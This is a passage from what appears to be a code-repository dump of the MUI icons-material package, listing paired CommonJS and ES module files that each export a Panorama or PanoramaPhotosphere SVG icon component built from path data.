    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.4 11.32v2.93c-.1.05-2.17.85-3.33 1.17-.94.26-3.84.73-6.07.73-3.7 0-7-.7-9.16-1.8-.08-.04-.16-.06-.24-.1V9.76c6.02-2.84 12.6-2.92 18.8 0zm-9.39 8.88c-2.5 0-4.87-1.15-6.41-3.12 4.19 1.22 8.57 1.23 12.82-.01-1.54 1.97-3.9 3.13-6.41 3.13M12 3.8c2.6 0 4.91 1.23 6.41 3.12-4.1-1.19-8.48-1.26-12.83.01C7.08 5.03 9.4 3.8 12 3.8m10.49 4.71c-.47-.23-.93-.44-1.4-.64C19.52 4.41 16.05 2 12 2S4.47 4.41 2.9 7.88c-.47.2-.93.41-1.4.63-.31.15-.5.48-.5.83v5.32c0 .35.19.68.51.83.47.23.93.44 1.39.64 3.55 7.83 14.65 7.82 18.2 0 .47-.2.93-.41 1.39-.63.31-.17.51-.49.51-.84V9.34c0-.35-.19-.68-.51-.83\"\n}), 'PanoramaPhotosphere');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaPhotosphere.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.4 11.32v2.93c-.1.05-2.17.85-3.33 1.17-.94.26-3.84.73-6.07.73-3.7 0-7-.7-9.16-1.8-.08-.04-.16-.06-.24-.1V9.76c6.02-2.84 12.6-2.92 18.8 0zm-9.39 8.88c-2.5 0-4.87-1.15-6.41-3.12 4.19 1.22 8.57 1.23 12.82-.01-1.54 1.97-3.9 3.13-6.41 3.13M12 3.8c2.6 0 4.91 1.23 6.41 3.12-4.1-1.19-8.48-1.26-12.83.01C7.08 5.03 9.4 3.8 12 3.8m10.49 4.71c-.47-.23-.93-.44-1.4-.64C19.52 4.41 16.05 2 12 2S4.47 4.41 2.9 7.88c-.47.2-.93.41-1.4.63-.31.15-.5.48-.5.83v5.32c0 .35.19.68.51.83.47.23.93.44 1.39.64 3.55 7.83 14.65 7.82 18.2 0 .47-.2.93-.41 1.39-.63.31-.17.51-.49.51-.84V9.34c0-.35-.19-.68-.51-.83\"\n}), 'PanoramaPhotosphere');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaPhotosphereOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.95 8.15c-.29-.16-.61-.31-.93-.46C19.4 4.33 15.98 2 12 2S4.6 4.33 2.99 7.68c-.33.15-.64.3-.93.46C1.41 8.5 1 9.17 1 9.91v4.18c0 .74.41 1.41 1.05 1.77.29.16.61.31.93.46C4.6 19.67 8.02 22 12 22s7.4-2.33 9.01-5.68c.33-.15.64-.3.93-.46.65-.36 1.06-1.03 1.06-1.77V9.91c0-.74-.41-1.41-1.05-1.76M21 9.91v4.19c-2.19 1.21-5.47 1.9-9 1.9s-6.81-.7-9-1.91V9.91C5.2 8.69 8.47 8 12 8s6.81.7 9 1.91M12 4c2.37 0 4.49 1.04 5.95 2.68C16.17 6.25 14.15 6 12 6s-4.17.25-5.95.68C7.51 5.04 9.63 4 12 4m0 16c-2.37 0-4.49-1.04-5.95-2.68 1.78.43 3.8.68 5.95.68s4.17-.25 5.95-.68C16.49 18.96 14.37 20 12 20\"\n}), 'PanoramaPhotosphereOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaPhotosphereOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.95 8.15c-.29-.16-.61-.31-.93-.46C19.4 4.33 15.98 2 12 2S4.6 4.33 2.99 7.68c-.33.15-.64.3-.93.46C1.41 8.5 1 9.17 1 9.91v4.18c0 .74.41 1.41 1.05 1.77.29.16.61.31.93.46C4.6 19.67 8.02 22 12 22s7.4-2.33 9.01-5.68c.33-.15.64-.3.93-.46.65-.36 1.06-1.03 1.06-1.77V9.91c0-.74-.41-1.41-1.05-1.76M21 9.91v4.19c-2.19 1.21-5.47 1.9-9 1.9s-6.81-.7-9-1.91V9.91C5.2 8.69 8.47 8 12 8s6.81.7 9 1.91M12 4c2.37 0 4.49 1.04 5.95 2.68C16.17 6.25 14.15 6 12 6s-4.17.25-5.95.68C7.51 5.04 9.63 4 12 4m0 16c-2.37 0-4.49-1.04-5.95-2.68 1.78.43 3.8.68 5.95.68s4.17-.25 5.95-.68C16.49 18.96 14.37 20 12 20\"\n}), 'PanoramaPhotosphereOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaPhotosphereRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.95 8.15c-.29-.16-.61-.31-.93-.46C19.4 4.33 15.98 2 12 2S4.6 4.33 2.99 7.68c-.33.15-.64.3-.93.46C1.41 8.5 1 9.17 1 9.91v4.18c0 .74.41 1.41 1.05 1.77.29.16.61.31.93.46C4.6 19.67 8.02 22 12 22s7.4-2.33 9.01-5.68c.33-.15.64-.3.93-.46.65-.36 1.06-1.03 1.06-1.77V9.91c0-.74-.41-1.41-1.05-1.76M12 4c2.37 0 4.49 1.04 5.95 2.68C16.17 6.25 14.15 6 12 6s-4.17.25-5.95.68C7.51 5.04 9.63 4 12 4m0 16c-2.37 0-4.49-1.04-5.95-2.68 1.78.43 3.8.68 5.95.68s4.17-.25 5.95-.68C16.49 18.96 14.37 20 12 20\"\n}), 'PanoramaPhotosphereRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaPhotosphereRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.95 8.15c-.29-.16-.61-.31-.93-.46C19.4 4.33 15.98 2 12 2S4.6 4.33 2.99 7.68c-.33.15-.64.3-.93.46C1.41 8.5 1 9.17 1 9.91v4.18c0 .74.41 1.41 1.05 1.77.29.16.61.31.93.46C4.6 19.67 8.02 22 12 22s7.4-2.33 9.01-5.68c.33-.15.64-.3.93-.46.65-.36 1.06-1.03 1.06-1.77V9.91c0-.74-.41-1.41-1.05-1.76M12 4c2.37 0 4.49 1.04 5.95 2.68C16.17 6.25 14.15 6 12 6s-4.17.25-5.95.68C7.51 5.04 9.63 4 12 4m0 16c-2.37 0-4.49-1.04-5.95-2.68 1.78.43 3.8.68 5.95.68s4.17-.25 5.95-.68C16.49 18.96 14.37 20 12 20\"\n}), 'PanoramaPhotosphereRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaPhotosphereSelect.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22.49 8.51c-.47-.23-.93-.44-1.4-.64C19.52 4.41 16.05 2 12 2S4.47 4.41 2.9 7.88c-.47.2-.93.41-1.4.63-.31.15-.5.48-.5.83v5.32c0 .35.19.68.51.83.47.23.93.44 1.39.64 3.55 7.83 14.65 7.82 18.2 0 .47-.2.93-.41 1.39-.63.31-.17.51-.49.51-.84V9.34c0-.35-.19-.68-.51-.83M12 3.8c2.6 0 4.91 1.23 6.41 3.12-4.1-1.19-8.48-1.26-12.83.01C7.08 5.03 9.4 3.8 12 3.8M5.6 17.08c4.19 1.22 8.57 1.23 12.82-.01-1.54 1.97-3.9 3.13-6.41 3.13-2.5 0-4.87-1.15-6.41-3.12\"\n}), 'PanoramaPhotosphereSelect');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaPhotosphereSelect.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22.49 8.51c-.47-.23-.93-.44-1.4-.64C19.52 4.41 16.05 2 12 2S4.47 4.41 2.9 7.88c-.47.2-.93.41-1.4.63-.31.15-.5.48-.5.83v5.32c0 .35.19.68.51.83.47.23.93.44 1.39.64 3.55 7.83 14.65 7.82 18.2 0 .47-.2.93-.41 1.39-.63.31-.17.51-.49.51-.84V9.34c0-.35-.19-.68-.51-.83M12 3.8c2.6 0 4.91 1.23 6.41 3.12-4.1-1.19-8.48-1.26-12.83.01C7.08 5.03 9.4 3.8 12 3.8M5.6 17.08c4.19 1.22 8.57 1.23 12.82-.01-1.54 1.97-3.9 3.13-6.41 3.13-2.5 0-4.87-1.15-6.41-3.12\"\n}), 'PanoramaPhotosphereSelect');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaPhotosphereSelectOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.95 8.15c-.29-.16-.61-.31-.93-.46C19.4 4.33 15.98 2 12 2S4.6 4.33 2.99 7.68c-.33.15-.64.3-.93.46C1.41 8.5 1 9.17 1 9.91v4.18c0 .74.41 1.41 1.05 1.77.29.16.61.31.93.46C4.6 19.67 8.02 22 12 22s7.4-2.33 9.01-5.68c.33-.15.64-.3.93-.46.65-.36 1.06-1.03 1.06-1.77V9.91c0-.74-.41-1.41-1.05-1.76M12 4c2.37 0 4.49 1.04 5.95 2.68C16.17 6.25 14.15 6 12 6s-4.17.25-5.95.68C7.51 5.04 9.63 4 12 4m0 16c-2.37 0-4.49-1.04-5.95-2.68 1.78.43 3.8.68 5.95.68s4.17-.25 5.95-.68C16.49 18.96 14.37 20 12 20\"\n}), 'PanoramaPhotosphereSelectOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaPhotosphereSelectOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.95 8.15c-.29-.16-.61-.31-.93-.46C19.4 4.33 15.98 2 12 2S4.6 4.33 2.99 7.68c-.33.15-.64.3-.93.46C1.41 8.5 1 9.17 1 9.91v4.18c0 .74.41 1.41 1.05 1.77.29.16.61.31.93.46C4.6 19.67 8.02 22 12 22s7.4-2.33 9.01-5.68c.33-.15.64-.3.93-.46.65-.36 1.06-1.03 1.06-1.77V9.91c0-.74-.41-1.41-1.05-1.76M12 4c2.37 0 4.49 1.04 5.95 2.68C16.17 6.25 14.15 6 12 6s-4.17.25-5.95.68C7.51 5.04 9.63 4 12 4m0 16c-2.37 0-4.49-1.04-5.95-2.68 1.78.43 3.8.68 5.95.68s4.17-.25 5.95-.68C16.49 18.96 14.37 20 12 20\"\n}), 'PanoramaPhotosphereSelectOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaPhotosphereSelectRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.95 8.15c-.29-.16-.61-.31-.93-.46C19.4 4.33 15.98 2 12 2S4.6 4.33 2.99 7.68c-.33.15-.64.3-.93.46C1.41 8.5 1 9.17 1 9.91v4.18c0 .74.41 1.41 1.05 1.77.29.16.61.31.93.46C4.6 19.67 8.02 22 12 22s7.4-2.33 9.01-5.68c.33-.15.64-.3.93-.46.65-.36 1.06-1.03 1.06-1.77V9.91c0-.74-.41-1.41-1.05-1.76M12 4c2.37 0 4.49 1.04 5.95 2.68C16.17 6.25 14.15 6 12 6s-4.17.25-5.95.68C7.51 5.04 9.63 4 12 4m0 16c-2.37 0-4.49-1.04-5.95-2.68 1.78.43 3.8.68 5.95.68s4.17-.25 5.95-.68C16.49 18.96 14.37 20 12 20\"\n}), 'PanoramaPhotosphereSelectRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaPhotosphereSelectRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.95 8.15c-.29-.16-.61-.31-.93-.46C19.4 4.33 15.98 2 12 2S4.6 4.33 2.99 7.68c-.33.15-.64.3-.93.46C1.41 8.5 1 9.17 1 9.91v4.18c0 .74.41 1.41 1.05 1.77.29.16.61.31.93.46C4.6 19.67 8.02 22 12 22s7.4-2.33 9.01-5.68c.33-.15.64-.3.93-.46.65-.36 1.06-1.03 1.06-1.77V9.91c0-.74-.41-1.41-1.05-1.76M12 4c2.37 0 4.49 1.04 5.95 2.68C16.17 6.25 14.15 6 12 6s-4.17.25-5.95.68C7.51 5.04 9.63 4 12 4m0 16c-2.37 0-4.49-1.04-5.95-2.68 1.78.43 3.8.68 5.95.68s4.17-.25 5.95-.68C16.49 18.96 14.37 20 12 20\"\n}), 'PanoramaPhotosphereSelectRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaPhotosphereSelectSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 8.84c-.54-.43-1.23-.81-1.99-1.15C19.4 4.33 15.98 2 12 2S4.6 4.33 2.99 7.68c-.76.35-1.45.72-1.99 1.16v6.33c.54.43 1.23.81 1.99 1.15C4.6 19.67 8.02 22 12 22s7.4-2.33 9.01-5.68c.76-.34 1.45-.72 1.99-1.15zM12 4c2.37 0 4.49 1.04 5.95 2.68C16.17 6.25 14.15 6 12 6s-4.17.25-5.95.68C7.51 5.04 9.63 4 12 4m0 16c-2.37 0-4.49-1.04-5.95-2.68 1.78.43 3.8.68 5.95.68s4.17-.25 5.95-.68C16.49 18.96 14.37 20 12 20\"\n}), 'PanoramaPhotosphereSelectSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaPhotosphereSelectSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 8.84c-.54-.43-1.23-.81-1.99-1.15C19.4 4.33 15.98 2 12 2S4.6 4.33 2.99 7.68c-.76.35-1.45.72-1.99 1.16v6.33c.54.43 1.23.81 1.99 1.15C4.6 19.67 8.02 22 12 22s7.4-2.33 9.01-5.68c.76-.34 1.45-.72 1.99-1.15zM12 4c2.37 0 4.49 1.04 5.95 2.68C16.17 6.25 14.15 6 12 6s-4.17.25-5.95.68C7.51 5.04 9.63 4 12 4m0 16c-2.37 0-4.49-1.04-5.95-2.68 1.78.43 3.8.68 5.95.68s4.17-.25 5.95-.68C16.49 18.96 14.37 20 12 20\"\n}), 'PanoramaPhotosphereSelectSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaPhotosphereSelectTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.95 8.15c-.29-.16-.61-.31-.93-.46C19.4 4.33 15.98 2 12 2S4.6 4.33 2.99 7.68c-.33.15-.64.3-.93.46C1.41 8.5 1 9.17 1 9.91v4.18c0 .74.41 1.41 1.05 1.77.29.16.61.31.93.46C4.6 19.67 8.02 22 12 22s7.4-2.33 9.01-5.68c.33-.15.64-.3.93-.46.65-.36 1.06-1.03 1.06-1.77V9.91c0-.74-.41-1.41-1.05-1.76M12 4c2.37 0 4.49 1.04 5.95 2.68C16.17 6.25 14.15 6 12 6s-4.17.25-5.95.68C7.51 5.04 9.63 4 12 4m0 16c-2.37 0-4.49-1.04-5.95-2.68 1.78.43 3.8.68 5.95.68s4.17-.25 5.95-.68C16.49 18.96 14.37 20 12 20\"\n}), 'PanoramaPhotosphereSelectTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaPhotosphereSelectTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.95 8.15c-.29-.16-.61-.31-.93-.46C19.4 4.33 15.98 2 12 2S4.6 4.33 2.99 7.68c-.33.15-.64.3-.93.46C1.41 8.5 1 9.17 1 9.91v4.18c0 .74.41 1.41 1.05 1.77.29.16.61.31.93.46C4.6 19.67 8.02 22 12 22s7.4-2.33 9.01-5.68c.33-.15.64-.3.93-.46.65-.36 1.06-1.03 1.06-1.77V9.91c0-.74-.41-1.41-1.05-1.76M12 4c2.37 0 4.49 1.04 5.95 2.68C16.17 6.25 14.15 6 12 6s-4.17.25-5.95.68C7.51 5.04 9.63 4 12 4m0 16c-2.37 0-4.49-1.04-5.95-2.68 1.78.43 3.8.68 5.95.68s4.17-.25 5.95-.68C16.49 18.96 14.37 20 12 20\"\n}), 'PanoramaPhotosphereSelectTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaPhotosphereSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 8.84c-.54-.43-1.23-.81-1.99-1.15C19.4 4.33 15.98 2 12 2S4.6 4.33 2.99 7.68c-.76.35-1.45.72-1.99 1.16v6.33c.54.43 1.23.81 1.99 1.15C4.6 19.67 8.02 22 12 22s7.4-2.33 9.01-5.68c.76-.34 1.45-.72 1.99-1.15zM12 4c2.37 0 4.49 1.04 5.95 2.68C16.17 6.25 14.15 6 12 6s-4.17.25-5.95.68C7.51 5.04 9.63 4 12 4m0 16c-2.37 0-4.49-1.04-5.95-2.68 1.78.43 3.8.68 5.95.68s4.17-.25 5.95-.68C16.49 18.96 14.37 20 12 20\"\n}), 'PanoramaPhotosphereSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaPhotosphereSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 8.84c-.54-.43-1.23-.81-1.99-1.15C19.4 4.33 15.98 2 12 2S4.6 4.33 2.99 7.68c-.76.35-1.45.72-1.99 1.16v6.33c.54.43 1.23.81 1.99 1.15C4.6 19.67 8.02 22 12 22s7.4-2.33 9.01-5.68c.76-.34 1.45-.72 1.99-1.15zM12 4c2.37 0 4.49 1.04 5.95 2.68C16.17 6.25 14.15 6 12 6s-4.17.25-5.95.68C7.51 5.04 9.63 4 12 4m0 16c-2.37 0-4.49-1.04-5.95-2.68 1.78.43 3.8.68 5.95.68s4.17-.25 5.95-.68C16.49 18.96 14.37 20 12 20\"\n}), 'PanoramaPhotosphereSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaPhotosphereTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 9.91v4.18C5.19 15.3 8.47 16 12 16s6.81-.69 9-1.91V9.91C18.81 8.7 15.53 8 12 8s-6.8.69-9 1.91\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.95 8.15c-.29-.16-.61-.31-.93-.46C19.4 4.33 15.98 2 12 2S4.6 4.33 2.99 7.68c-.33.15-.64.3-.93.46C1.41 8.5 1 9.17 1 9.91v4.18c0 .74.41 1.41 1.05 1.77.29.16.61.31.93.46C4.6 19.67 8.02 22 12 22s7.4-2.33 9.01-5.68c.33-.15.64-.3.93-.46.65-.36 1.06-1.03 1.06-1.77V9.91c0-.74-.41-1.41-1.05-1.76M12 4c2.37 0 4.49 1.04 5.95 2.68C16.17 6.25 14.15 6 12 6s-4.17.25-5.95.68C7.51 5.04 9.63 4 12 4m0 16c-2.37 0-4.49-1.04-5.95-2.68 1.78.43 3.8.68 5.95.68s4.17-.25 5.95-.68C16.49 18.96 14.37 20 12 20m9-10.09v4.18C18.81 15.31 15.53 16 12 16s-6.81-.7-9-1.91V9.91C5.2 8.69 8.47 8 12 8s6.81.7 9 1.91\"\n}, \"1\")], 'PanoramaPhotosphereTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaPhotosphereTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 9.91v4.18C5.19 15.3 8.47 16 12 16s6.81-.69 9-1.91V9.91C18.81 8.7 15.53 8 12 8s-6.8.69-9 1.91\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.95 8.15c-.29-.16-.61-.31-.93-.46C19.4 4.33 15.98 2 12 2S4.6 4.33 2.99 7.68c-.33.15-.64.3-.93.46C1.41 8.5 1 9.17 1 9.91v4.18c0 .74.41 1.41 1.05 1.77.29.16.61.31.93.46C4.6 19.67 8.02 22 12 22s7.4-2.33 9.01-5.68c.33-.15.64-.3.93-.46.65-.36 1.06-1.03 1.06-1.77V9.91c0-.74-.41-1.41-1.05-1.76M12 4c2.37 0 4.49 1.04 5.95 2.68C16.17 6.25 14.15 6 12 6s-4.17.25-5.95.68C7.51 5.04 9.63 4 12 4m0 16c-2.37 0-4.49-1.04-5.95-2.68 1.78.43 3.8.68 5.95.68s4.17-.25 5.95-.68C16.49 18.96 14.37 20 12 20m9-10.09v4.18C18.81 15.31 15.53 16 12 16s-6.81-.7-9-1.91V9.91C5.2 8.69 8.47 8 12 8s6.81.7 9 1.91\"\n}, \"1\")], 'PanoramaPhotosphereTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 18V6c0-1.1-.9-2-2-2H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2M8.9 12.98l2.1 2.53 3.1-3.99c.2-.26.6-.26.8.01l3.51 4.68c.25.33.01.8-.4.8H6.02c-.42 0-.65-.48-.39-.81L8.12 13c.19-.26.57-.27.78-.02\"\n}), 'PanoramaRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 18V6c0-1.1-.9-2-2-2H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2M8.9 12.98l2.1 2.53 3.1-3.99c.2-.26.6-.26.8.01l3.51 4.68c.25.33.01.8-.4.8H6.02c-.42 0-.65-.48-.39-.81L8.12 13c.19-.26.57-.27.78-.02\"\n}), 'PanoramaRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 20V4H1v16zM8.5 12.5l2.5 3.01L14.5 11l4.5 6H5z\"\n}), 'PanoramaSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 20V4H1v16zM8.5 12.5l2.5 3.01L14.5 11l4.5 6H5z\"\n}), 'PanoramaSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 18h18V6H3zm5.5-5.5 2.5 3.01L14.5 11l4.5 6H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 4H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H3V6h18zm-6.5-7L11 15.51 8.5 12.5 5 17h14z\"\n}, \"1\")], 'PanoramaTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaTwoTone.mjs",
